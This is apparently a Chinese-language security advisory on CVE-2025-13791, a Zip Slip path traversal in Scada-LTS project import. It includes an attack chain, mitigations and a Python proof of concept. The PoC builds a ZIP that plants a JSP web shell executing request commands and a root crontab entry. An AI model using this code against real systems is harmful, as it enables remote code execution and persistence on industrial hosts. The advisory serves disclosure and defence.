IPBUF安全漏洞报告
English
CVE-2025-13791 CVSS 6.3 中危

CVE-2025-13791 Scada-LTS ZIPProjectManager路径遍历漏洞

披露日期: 2025-11-30

漏洞信息

漏洞编号
CVE-2025-13791
漏洞类型
路径遍历
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Scada-LTS

相关标签

CVE-2025-13791路径遍历Zip SlipScada-LTSSCADA工业控制系统项目导入远程代码执行ZIP解压CVSS 6.3

漏洞概述

CVE-2025-13791是Scada-LTS软件中一个中等严重程度的路径遍历漏洞。该漏洞存在于Scada-LTS的Project Import功能中,具体位于br/org/scadabr/vo/exporter/ZIPProjectManager.java文件的Common.getHomeDir函数。攻击者可以通过构造恶意的ZIP文件,利用ZIP Slip攻击技术,在解压过程中将文件写入到目标系统上的任意目录位置。该漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为网络远程攻击,需要低权限认证但无需用户交互。由于这是一个ZIP Slip(压缩包路径穿越)漏洞,攻击者可以在ZIP文件中嵌入包含路径遍历序列(如../)的文件名,当文件被解压时会将文件写入到预期目录之外的位置,可能导致远程代码执行、配置文件覆盖或其他安全后果。该漏洞的影响版本为Scada-LTS 2.7.8.1及之前的所有版本。

技术细节

该漏洞是一个典型的ZIP Slip路径遍历漏洞,存在于Scada-LTS的ZIPProjectManager.java文件中。在处理ZIP项目导入功能时,应用程序未能正确验证和解压ZIP文件中各文件的路径名。攻击者可以创建一个包含路径遍历序列的恶意ZIP文件,例如文件名为../../../etc/cron.d/malicious的文件。当Scada-LTS使用Common.getHomeDir函数获取到基础目录后,在解压过程中直接将ZIP中的文件路径与基础目录拼接,而没有对文件路径进行规范化或验证。这意味着攻击者可以突破解压目录的限制,将恶意文件写入到系统的任意位置。成功利用此漏洞可以写入crontab、SSH authorized_keys、web shell等敏感位置,从而实现远程代码执行。漏洞的触发需要攻击者能够上传并触发项目导入功能,这通常需要低权限用户账号。

攻击链分析

STEP 1
步骤1
攻击者创建恶意ZIP文件,在文件名字段中嵌入路径遍历序列(如../../../),如写入到/tmp目录或web根目录
STEP 2
步骤2
攻击者获取Scada-LTS系统的低权限用户账号(PR:L要求)
STEP 3
步骤3
攻击者通过Scada-LTS的Project Import功能上传恶意ZIP文件
STEP 4
步骤4
Scada-LTS的ZIPProjectManager.java调用Common.getHomeDir获取基础目录
STEP 5
步骤5
应用程序解压ZIP文件时未验证路径,将包含路径遍历序列的文件写入到基础目录之外的任意位置
STEP 6
步骤6
攻击者写入crontab定时任务、SSH authorized_keys或web shell,实现远程代码执行和持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import sys def create_zip_slip_poc(): """ Generate a PoC ZIP file for CVE-2025-13791 - Scada-LTS Zip Slip vulnerability This PoC demonstrates how a malicious ZIP file can be crafted to write files outside the intended extraction directory using path traversal sequences. """ output_file = "scada_lts_zipslip_poc.zip" # Create a malicious ZIP file with path traversal in filename with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zipf: # Normal file (will be extracted to intended directory) zipf.writestr("project/config.xml", "<config>normal</config>") # Malicious file with path traversal - writes to parent directory # Change ../../../ to target desired system location malicious_path = "../../../tmp/scada_lts_poc.txt" zipf.writestr(malicious_path, "CVE-2025-13791 PoC - Path Traversal Successful!") # Example: Overwrite web shell zipf.writestr("../../../webapps/ROOT/shell.jsp", "<%@ page import=\"java.io.*\" %><% Process p=Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>") # Example: Add to crontab for persistence zipf.writestr("../../../var/spool/cron/root", "* * * * * /tmp/malicious.sh") print(f"[+] PoC ZIP file created: {output_file}") print(f"[+] Files in archive:") with zipfile.ZipFile(output_file, 'r') as zipf: for info in zipf.infolist(): print(f" - {info.filename}") print("\n[!] Upload this ZIP file through Scada-LTS Project Import functionality") print("[!] The path traversal files will be written outside the intended directory") if __name__ == "__main__": create_zip_slip_poc()

影响范围

Scada-LTS < 2.7.8.1
Scada-LTS up to 2.7.8.1

防御指南

临时缓解措施
在官方修复发布之前,建议采取以下临时缓解措施:1)限制Scada-LTS的项目导入功能访问权限,仅允许经过安全审批的账户使用;2)在WAF或反向代理层添加规则,检测并阻止包含路径遍历序列的上传文件;3)监控系统的文件写入日志,特别关注来自Scada-LTS服务进程的异常文件创建行为;4)如果可能,禁用或限制Project Import功能的使用;5)定期检查/tmp、webapps、cron等敏感目录是否被异常创建或修改文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表